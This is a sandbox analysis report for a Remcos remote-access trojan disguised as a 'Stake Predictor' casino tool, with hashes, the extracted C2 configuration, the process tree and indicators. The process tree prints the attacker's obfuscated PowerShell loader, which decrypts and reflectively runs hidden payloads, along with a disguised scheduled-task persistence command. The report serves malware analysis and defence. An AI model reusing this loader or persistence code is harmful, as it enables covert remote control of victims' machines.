remcos | 7e476138e0d9fc3d66ef11399ab404a1a6a5f3b78adff4a129181da66a9a2c8a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
14/02/2024, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Stake-Casino-predictorV5.5/stake Predictor V5.5.exe
Size 56KB
Sample240214-mgpprsgh96
SHA256 150e499c40941fca8aab61e5a0617cd1267c4fd4fd8e89069b2dfcae95d343d8
MD5 807162585b353bd6ee5cf4f8e0cd5f21
SHA1 2166ab346c1078dfd91a8ac6959175e207c0e799
SHA512 d670adb77e488b72a27b7ee04b7617b7ef9722360d4fc3025fc9a63f61d8acbd65f94b3a434da20a08537408dd863cb8218e2e4a585c9875215ff75c0dd2ece1
SSDEEP 1536:eGCJ9UxKjkxgscI6EPQSsxmotmJmtuXUXKh:GiKqzyEPQ3o9Jmqx
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos stako rat

Malware Config

Extracted

Family

remcos

Botnet

stako

windowsshell.theworkpc.com:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-VTXMU3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	3928	powershell.exe
20	3928	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	stake Predictor V5.5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
644	timeout.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4420	powershell.exe
4420	powershell.exe
3172	powershell.exe
3172	powershell.exe
3444	powershell.exe
3444	powershell.exe
1912	powershell.exe
1912	powershell.exe
4708	powershell.exe
4708	powershell.exe
3928	powershell.exe
3928	powershell.exe
3144	powershell.exe
3144	powershell.exe
1684	powershell.exe
1684	powershell.exe
2388	powershell.exe
2388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeIncreaseQuotaPrivilege	1912	powershell.exe
Token: SeSecurityPrivilege	1912	powershell.exe
Token: SeTakeOwnershipPrivilege	1912	powershell.exe
Token: SeLoadDriverPrivilege	1912	powershell.exe
Token: SeSystemProfilePrivilege	1912	powershell.exe
Token: SeSystemtimePrivilege	1912	powershell.exe
Token: SeProfSingleProcessPrivilege	1912	powershell.exe
Token: SeIncBasePriorityPrivilege	1912	powershell.exe
Token: SeCreatePagefilePrivilege	1912	powershell.exe
Token: SeBackupPrivilege	1912	powershell.exe
Token: SeRestorePrivilege	1912	powershell.exe
Token: SeShutdownPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeSystemEnvironmentPrivilege	1912	powershell.exe
Token: SeRemoteShutdownPrivilege	1912	powershell.exe
Token: SeUndockPrivilege	1912	powershell.exe
Token: SeManageVolumePrivilege	1912	powershell.exe
Token: 33	1912	powershell.exe
Token: 34	1912	powershell.exe
Token: 35	1912	powershell.exe
Token: 36	1912	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe
Token: 33	4708	powershell.exe
Token: 34	4708	powershell.exe
Token: 35	4708	powershell.exe
Token: 36	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3928	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3084 wrote to memory of 4420	3084	stake Predictor V5.5.exe	87
PID 3084 wrote to memory of 4420	3084	stake Predictor V5.5.exe	87
PID 3084 wrote to memory of 5044	3084	stake Predictor V5.5.exe	89
PID 3084 wrote to memory of 5044	3084	stake Predictor V5.5.exe	89
PID 3084 wrote to memory of 1388	3084	stake Predictor V5.5.exe	91
PID 3084 wrote to memory of 1388	3084	stake Predictor V5.5.exe	91
PID 5044 wrote to memory of 8	5044	cmd.exe	94
PID 5044 wrote to memory of 8	5044	cmd.exe	94
PID 8 wrote to memory of 3736	8	cmd.exe	96
PID 8 wrote to memory of 3736	8	cmd.exe	96
PID 8 wrote to memory of 3172	8	cmd.exe	95
PID 8 wrote to memory of 3172	8	cmd.exe	95
PID 8 wrote to memory of 3172	8	cmd.exe	95
PID 3172 wrote to memory of 3444	3172	powershell.exe	97
PID 3172 wrote to memory of 3444	3172	powershell.exe	97
PID 3172 wrote to memory of 3444	3172	powershell.exe	97
PID 3172 wrote to memory of 1912	3172	powershell.exe	98
PID 3172 wrote to memory of 1912	3172	powershell.exe	98
PID 3172 wrote to memory of 1912	3172	powershell.exe	98
PID 3172 wrote to memory of 4708	3172	powershell.exe	102
PID 3172 wrote to memory of 4708	3172	powershell.exe	102
PID 3172 wrote to memory of 4708	3172	powershell.exe	102
PID 3172 wrote to memory of 4468	3172	powershell.exe	104
PID 3172 wrote to memory of 4468	3172	powershell.exe	104
PID 3172 wrote to memory of 4468	3172	powershell.exe	104
PID 4468 wrote to memory of 4936	4468	cmd.exe	105
PID 4468 wrote to memory of 4936	4468	cmd.exe	105
PID 4468 wrote to memory of 4936	4468	cmd.exe	105
PID 4936 wrote to memory of 2960	4936	cmd.exe	108
PID 4936 wrote to memory of 2960	4936	cmd.exe	108
PID 4936 wrote to memory of 2960	4936	cmd.exe	108
PID 4936 wrote to memory of 3928	4936	cmd.exe	107
PID 4936 wrote to memory of 3928	4936	cmd.exe	107
PID 4936 wrote to memory of 3928	4936	cmd.exe	107
PID 3928 wrote to memory of 3144	3928	powershell.exe	109
PID 3928 wrote to memory of 3144	3928	powershell.exe	109
PID 3928 wrote to memory of 3144	3928	powershell.exe	109
PID 8 wrote to memory of 644	8	cmd.exe	110
PID 8 wrote to memory of 644	8	cmd.exe	110
PID 3928 wrote to memory of 1684	3928	powershell.exe	111
PID 3928 wrote to memory of 1684	3928	powershell.exe	111
PID 3928 wrote to memory of 1684	3928	powershell.exe	111
PID 3928 wrote to memory of 2388	3928	powershell.exe	114
PID 3928 wrote to memory of 2388	3928	powershell.exe	114
PID 3928 wrote to memory of 2388	3928	powershell.exe	114

C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\stake Predictor V5.5.exe
"C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\stake Predictor V5.5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ACR.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ACR.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3172
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3444
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\ACR')
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1912
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 63403' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network63403Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4708
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network63403Man.cmd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4468
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network63403Man.cmd"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4936
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network63403Man')
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 63403' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network63403Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2388
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network63403Man.cmd';$qOie='CreLusyaLusytLusyeDLusyecLusyryLusypLusytoLusyrLusy'.Replace('Lusy', ''),'LFbyFoaFbyFdFbyF'.Replace('FbyF', ''),'FQCraroQCramBQCraasQCrae6QCra4QCraStrQCraingQCra'.Replace('QCra', ''),'CJuiyhJuiyanJuiygeJuiyExJuiytJuiyenJuiysiJuiyonJuiy'.Replace('Juiy', ''),'ReyjcSayjcSdyjcSLiyjcSneyjcSsyjcS'.Replace('yjcS', ''),'TrazLNwnszLNwforzLNwmFzLNwizLNwnalzLNwBlzLNwozLNwckzLNw'.Replace('zLNw', ''),'CGCZZoGCZZpyGCZZToGCZZ'.Replace('GCZZ', ''),'SAWtxplAWtxitAWtx'.Replace('AWtx', ''),'GIghaetCIghauIgharrIghaenIghatIghaPIgharoIghaceIghassIgha'.Replace('Igha', ''),'InvLqNYoLqNYkeLqNY'.Replace('LqNY', ''),'ElKkKwemeKkKwntKkKwAtKkKw'.Replace('KkKw', ''),'DGycCecoGycCmGycCpreGycCssGycC'.Replace('GycC', ''),'EncSFGtrcSFGyPocSFGincSFGtcSFG'.Replace('cSFG', ''),'MaIXeninIXenMoIXenduIXenleIXen'.Replace('IXen', '');powershell -w hidden;function JiWzE($pEvHj){$rHskd=[System.Security.Cryptography.Aes]::Create();$rHskd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rHskd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rHskd.Key=[System.Convert]::($qOie[2])('2y7aLfH31mK2nGU78foJwpYmH2SXagxnfkgf7lFFvhY=');$rHskd.IV=[System.Convert]::($qOie[2])('jctRZgXoB89HuqWYY9PStA==');$qjSvP=$rHskd.($qOie[0])();$flCzJ=$qjSvP.($qOie[5])($pEvHj,0,$pEvHj.Length);$qjSvP.Dispose();$rHskd.Dispose();$flCzJ;}function ezUqD($pEvHj){$GkvPz=New-Object System.IO.MemoryStream(,$pEvHj);$SXuGB=New-Object System.IO.MemoryStream;$ebuIo=New-Object System.IO.Compression.GZipStream($GkvPz,[IO.Compression.CompressionMode]::($qOie[11]));$ebuIo.($qOie[6])($SXuGB);$ebuIo.Dispose();$GkvPz.Dispose();$SXuGB.Dispose();$SXuGB.ToArray();}$cwVJh=[System.IO.File]::($qOie[4])([Console]::Title);$aQyjD=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 5).Substring(2))));$SOHBM=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 6).Substring(2))));[System.Reflection.Assembly]::($qOie[1])([byte[]]$SOHBM).($qOie[12]).($qOie[9])($null,$null);[System.Reflection.Assembly]::($qOie[1])([byte[]]$aQyjD).($qOie[12]).($qOie[9])($null,$null); "
        7⤵
        
        PID:2960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\ACR.bat';$qOie='CreLusyaLusytLusyeDLusyecLusyryLusypLusytoLusyrLusy'.Replace('Lusy', ''),'LFbyFoaFbyFdFbyF'.Replace('FbyF', ''),'FQCraroQCramBQCraasQCrae6QCra4QCraStrQCraingQCra'.Replace('QCra', ''),'CJuiyhJuiyanJuiygeJuiyExJuiytJuiyenJuiysiJuiyonJuiy'.Replace('Juiy', ''),'ReyjcSayjcSdyjcSLiyjcSneyjcSsyjcS'.Replace('yjcS', ''),'TrazLNwnszLNwforzLNwmFzLNwizLNwnalzLNwBlzLNwozLNwckzLNw'.Replace('zLNw', ''),'CGCZZoGCZZpyGCZZToGCZZ'.Replace('GCZZ', ''),'SAWtxplAWtxitAWtx'.Replace('AWtx', ''),'GIghaetCIghauIgharrIghaenIghatIghaPIgharoIghaceIghassIgha'.Replace('Igha', ''),'InvLqNYoLqNYkeLqNY'.Replace('LqNY', ''),'ElKkKwemeKkKwntKkKwAtKkKw'.Replace('KkKw', ''),'DGycCecoGycCmGycCpreGycCssGycC'.Replace('GycC', ''),'EncSFGtrcSFGyPocSFGincSFGtcSFG'.Replace('cSFG', ''),'MaIXeninIXenMoIXenduIXenleIXen'.Replace('IXen', '');powershell -w hidden;function JiWzE($pEvHj){$rHskd=[System.Security.Cryptography.Aes]::Create();$rHskd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rHskd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rHskd.Key=[System.Convert]::($qOie[2])('2y7aLfH31mK2nGU78foJwpYmH2SXagxnfkgf7lFFvhY=');$rHskd.IV=[System.Convert]::($qOie[2])('jctRZgXoB89HuqWYY9PStA==');$qjSvP=$rHskd.($qOie[0])();$flCzJ=$qjSvP.($qOie[5])($pEvHj,0,$pEvHj.Length);$qjSvP.Dispose();$rHskd.Dispose();$flCzJ;}function ezUqD($pEvHj){$GkvPz=New-Object System.IO.MemoryStream(,$pEvHj);$SXuGB=New-Object System.IO.MemoryStream;$ebuIo=New-Object System.IO.Compression.GZipStream($GkvPz,[IO.Compression.CompressionMode]::($qOie[11]));$ebuIo.($qOie[6])($SXuGB);$ebuIo.Dispose();$GkvPz.Dispose();$SXuGB.Dispose();$SXuGB.ToArray();}$cwVJh=[System.IO.File]::($qOie[4])([Console]::Title);$aQyjD=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 5).Substring(2))));$SOHBM=ezUqD (JiWzE ([Convert]::($qOie[2])([System.Linq.Enumerable]::($qOie[10])($cwVJh, 6).Substring(2))));[System.Reflection.Assembly]::($qOie[1])([byte[]]$SOHBM).($qOie[12]).($qOie[9])($null,$null);[System.Reflection.Assembly]::($qOie[1])([byte[]]$aQyjD).($qOie[12]).($qOie[9])($null,$null); "
      4⤵
      PID:3736
  - - C:\Windows\system32\timeout.exe
      timeout /nobreak /t 1
      4⤵
      Delays execution with timeout.exe
      PID:644
- C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.5\setEn.exe
  "setEn.exe"
  2⤵
  PID:1388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 214B
SHA256 bf071e2acd7e234eb4ef4f862bf726570f99bef916b60d81188b79256615ec12
MD5 877eca8c71fdeac4eff0eea8ed377aca
SHA1 d2f6746517687cd1d23a3019d0d1f3a1d0ead679
SHA512 9e9488120ceb6ad883d63ab30bab2443751fa9f05a6ad6415e3d3a03527cd28b571f0ae387a5bcfa8309c084bf3a9e2a5f9c43d322add7ad7629d7977123e946
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea
MD5 928d36ad618a369ffebf44885d07cf81
SHA1 edf5a353a919c1873af8e6a0dfafa4c38c626975
SHA512 4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 21KB
SHA256 c35b9be1f85f952ae4aa9a3432c95c87d02643f74b229fe69d58c5c971de2c03
MD5 8f5b8bb38745ea3b94a15de2d34eb26e
SHA1 685e4907a2eb9a817aa9e17918e864c0f475a1f9
SHA512 9bbebc6a040e2a6be6ceb1301f6876d1ed73cd0deda564534186c5078eeecf7b601bd3eabad780fbd2deeb4cdfbe11c5ebc2cb2895c47f3ec566fe77e5a75541
SSDEEP 384:vrf+Cy+w9i+RWA+BBiMMkBV7aTrK6seYbneyx/xozLYbLU06P5lt9KtwA/9J8kUK:jfty9W/oWT7aTrN+nlUY/XClt9m1mTHa
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 39c278989a230bf0f6f6082149afb2790675e1774b275ca4f60b34c85b88a1c2
MD5 402c3f48af4b254fd33c130f0639e312
SHA1 f0668e6a1cfb84b7ad056762299e68ebf5ec2aa7
SHA512 d05ff520e0407fb54ecbefd963f7c2764435742f9162140ff6f4a62ffe9ea3f991183f90c42f71f3531685b34457c7bf6776b923fb74d3da3432736fedddaefb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 6ad06eab5d2d0238e389de940a28525b50d0095cc7a44ac845ef038cc3918038
MD5 67ffecf684a68cfac5126ab77f535c68
SHA1 409c0604f3b57943fda45bcc4493f8219577730d
SHA512 a7608a05f94881aa6adaea9e6c3a44bbc42f413d7518a54b92178f2cbe30a8617f31414847233bcbdc3c81cf658d67603410dfc8bf8807b462e50b655633bcd7
SSDEEP 384:Psf+zr9i+jq812BCoQMohdxVTVK6seY6izt/kY3SomI3lkOaED31QKJ/l07r:kfMq8Ro7W/VTVN8BdSiUEDt/lu
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 99a3ca092dd6865e6f618b6d744df3b5cb5ba30831e000663ea4e6334b4db800
MD5 76255090cfcff02f883158693fca59e8
SHA1 d8bdf40fe42f4682f0c99c3c1c18a739305bafba
SHA512 fb0c9414dd5c781544c6c22ec2eb5f2ab2a234a4651d2ddae4cc71a9035632e1d7e794d5fa802d75a1b2ff5ff9a00ee490abdf0c3a8450b8e634186dad0d6f19
SSDEEP 384:vsf+z9991sDzBBi3Jkqi8o9oBNY1eR/ZBYioZPOrudx4lw5DHA3KGayO+hbSO1:EfSspoSXoBNdTOOidxrDHUzH
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 aa44af10dcb573a7c84d71d1e62bc00e1ac556ec6a7fa2b8d7251bb9e5d01fd2
MD5 a62948c6173181acd4a3dd81790e83b3
SHA1 adee68b60526bdeb108a372040e9a5b29f445456
SHA512 fe0be1e155909aede403fec4ab30f7ccfb2933653a03aa4bf469913edb50479d6e3ff2b20d60dc31ce03f938cee39435ef7993c763f296bb7df69754ae80f86b
SSDEEP 384:4sf+zf991wVrxlpqzplNY19Dd/kIWGSxNC3s2WUPS0H0CO1:VfowtHulN8DdhzSxNrPUHH+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ACR.bat

Path C:\Users\Admin\AppData\Local\Temp\ACR.bat
Size 386KB
SHA256 4145fb609fd916c5faac6304e58de84a618a3c8440b54d74a2fc9feedbbdcd1a
MD5 5710a9ed2241f4e9e5517765349ef096
SHA1 04a78d899dff6ff7ae804da283ad2939d11ad97b
SHA512 687c868a28554d21a7294851fa2de6383fbd4294dc863595b601d11c30469dd00a1ca189a33eb6a7ebfa3c510eb4484b2cadd3efac1230a211af4fbca1a778c0
SSDEEP 6144:oKhm6mCeYXnxX3yfmVGOxLIwv03BqV1wT6XTQbEV9JY1/bRssLgpjzzjz:oKhm6VX3smVzdIws3BqgT6X6dl+pbn
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_djiz1vik.52m.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djiz1vik.52m.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1388-27-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

Download

memory/1388-117-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

Download

memory/1388-26-0x00000288CD800000-0x00000288CD810000-memory.dmp

Download

memory/1684-164-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/1912-70-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/1912-102-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/1912-71-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/1912-72-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/1912-82-0x000000007F3C0000-0x000000007F3D0000-memory.dmp

Download

memory/1912-83-0x0000000007560000-0x0000000007592000-memory.dmp

Download

memory/1912-84-0x0000000070B80000-0x0000000070BCC000-memory.dmp

Download

memory/1912-94-0x0000000007540000-0x000000000755E000-memory.dmp

Download

memory/1912-100-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/1912-99-0x00000000078F0000-0x0000000007901000-memory.dmp

Download

memory/1912-98-0x00000000079C0000-0x0000000007A56000-memory.dmp

Download

memory/1912-97-0x0000000007770000-0x000000000777A000-memory.dmp

Download

memory/1912-95-0x0000000005130000-0x0000000005140000-memory.dmp

Download

memory/1912-96-0x00000000075B0000-0x0000000007653000-memory.dmp

Download

memory/3084-25-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

Download

memory/3084-0-0x00000282A0280000-0x00000282A0290000-memory.dmp

Download

memory/3084-1-0x00007FFB99CF0000-0x00007FFB9A7B1000-memory.dmp

Download

memory/3144-151-0x0000000005050000-0x0000000005060000-memory.dmp

Download

memory/3144-150-0x0000000005050000-0x0000000005060000-memory.dmp

Download

memory/3144-149-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3144-162-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3172-52-0x0000000007280000-0x000000000729A000-memory.dmp

Download

memory/3172-137-0x0000000004B20000-0x0000000004B30000-memory.dmp

Download

memory/3172-68-0x0000000007420000-0x000000000746E000-memory.dmp

Download

memory/3172-29-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3172-30-0x0000000004A10000-0x0000000004A46000-memory.dmp

Download

memory/3172-163-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3172-31-0x0000000004B20000-0x0000000004B30000-memory.dmp

Download

memory/3172-51-0x00000000078E0000-0x0000000007F5A000-memory.dmp

Download

memory/3172-50-0x00000000071E0000-0x0000000007256000-memory.dmp

Download

memory/3172-49-0x0000000007060000-0x00000000070A4000-memory.dmp

Download

memory/3172-48-0x0000000005F90000-0x0000000005FDC000-memory.dmp

Download

memory/3172-47-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Download

memory/3172-32-0x0000000005160000-0x0000000005788000-memory.dmp

Download

memory/3172-45-0x00000000059A0000-0x0000000005CF4000-memory.dmp

Download

memory/3172-35-0x0000000005870000-0x00000000058D6000-memory.dmp

Download

memory/3172-34-0x0000000005800000-0x0000000005866000-memory.dmp

Download

memory/3172-33-0x0000000005100000-0x0000000005122000-memory.dmp

Download

memory/3172-127-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3444-67-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3444-55-0x0000000004960000-0x0000000004970000-memory.dmp

Download

memory/3444-54-0x0000000004960000-0x0000000004970000-memory.dmp

Download

memory/3444-53-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3928-136-0x0000000074DE0000-0x0000000075590000-memory.dmp

Download

memory/3928-221-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/3928-138-0x0000000004DA0000-0x0000000004DB0000-memory.dmp

Download

memory/4420-17-0x000001CFB9450000-0x000001CFB9460000-memory.dmp

Download

memory/4420-15-0x000001CFBA200000-0x000001CFBA244000-memory.dmp

Download

memory/4420-16-0x000001CFBA2D0000-0x000001CFBA346000-memory.dmp

Download

